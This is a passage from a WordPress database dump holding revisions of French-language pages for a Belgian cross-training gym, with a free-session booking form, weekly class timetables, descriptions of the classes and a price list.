(275, 1, '2014-08-31 07:37:27', '2014-08-31 07:37:27', '&lt;blockquote&gt;\n&lt;h1&gt;Prise de RDV pour une séance booster :&lt;/h1&gt;\n&lt;/blockquote&gt;\nVenez nous rencontrer afin de découvrir le déroulement d\'une séance de cross training.\n\nLaissez-nous vos coordonnées et nous vous recontacterons afin de planifier avec vous votre première séance gratuite.\n\n[contact-form-7 id=\&quot;265\&quot; title=\&quot;Seance_gratuite\&quot;]', 'Séance gratuite', '', 'inherit', 'open', 'open', '', '266-autosave-v1', '', '', '2014-08-31 07:37:27', '2014-08-31 07:37:27', '', 266, 'http://www.crosstrainingcenter.be/?p=275', 0, 'revision', '', 0),
(276, 1, '2013-07-03 20:45:08', '2013-07-03 20:45:08', 'Venez découvrir les bienfaits du cross training lors d\'une première séance gratuite.\r\n\r\n[contact-form-7 id=\&quot;265\&quot; title=\&quot;Seance_gratuite\&quot;]', 'Séance gratuite', '', 'inherit', 'open', 'open', '', '266-revision-v1', '', '', '2013-07-03 20:45:08', '2013-07-03 20:45:08', '', 266, 'http://www.crosstrainingcenter.be/?p=276', 0, 'revision', '', 0),
(277, 1, '2013-07-03 20:48:13', '2013-07-03 20:48:13', '&lt;h1&gt;Une séance gratuite?&lt;/h1&gt;\r\nEnvie de découvrir les bienfaits du cross training?\r\nNous vous offrons gratuitement une première séance.\r\nRemplissez le formulaire ci-dessous et nous vous recontacterons pour planifier avec vous votre première séance. \r\n\r\n[contact-form-7 id=\&quot;265\&quot; title=\&quot;Seance_gratuite\&quot;]', 'Séance gratuite', '', 'inherit', 'open', 'open', '', '266-revision-v1', '', '', '2013-07-03 20:48:13', '2013-07-03 20:48:13', '', 266, 'http://www.crosstrainingcenter.be/?p=277', 0, 'revision', '', 0),
(317, 1, '2013-07-04 16:35:10', '2013-07-04 16:35:10', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Les séances sont composées de différentes phases décrites selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-04 16:35:10', '2013-07-04 16:35:10', '', 11, 'http://www.crosstrainingcenter.be/11-revision-104/', 0, 'revision', '', 0),
(278, 1, '2013-07-03 20:45:06', '2013-07-03 20:45:06', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Les séances sont composées de différentes phases décrites selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 20:45:06', '2013-07-03 20:45:06', '', 11, 'http://www.crosstrainingcenter.be/?p=278', 0, 'revision', '', 0);
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(279, 1, '2013-07-03 21:04:43', '2013-07-03 21:04:43', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Les séances sont composées de différentes phases décrites selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 21:04:43', '2013-07-03 21:04:43', '', 11, 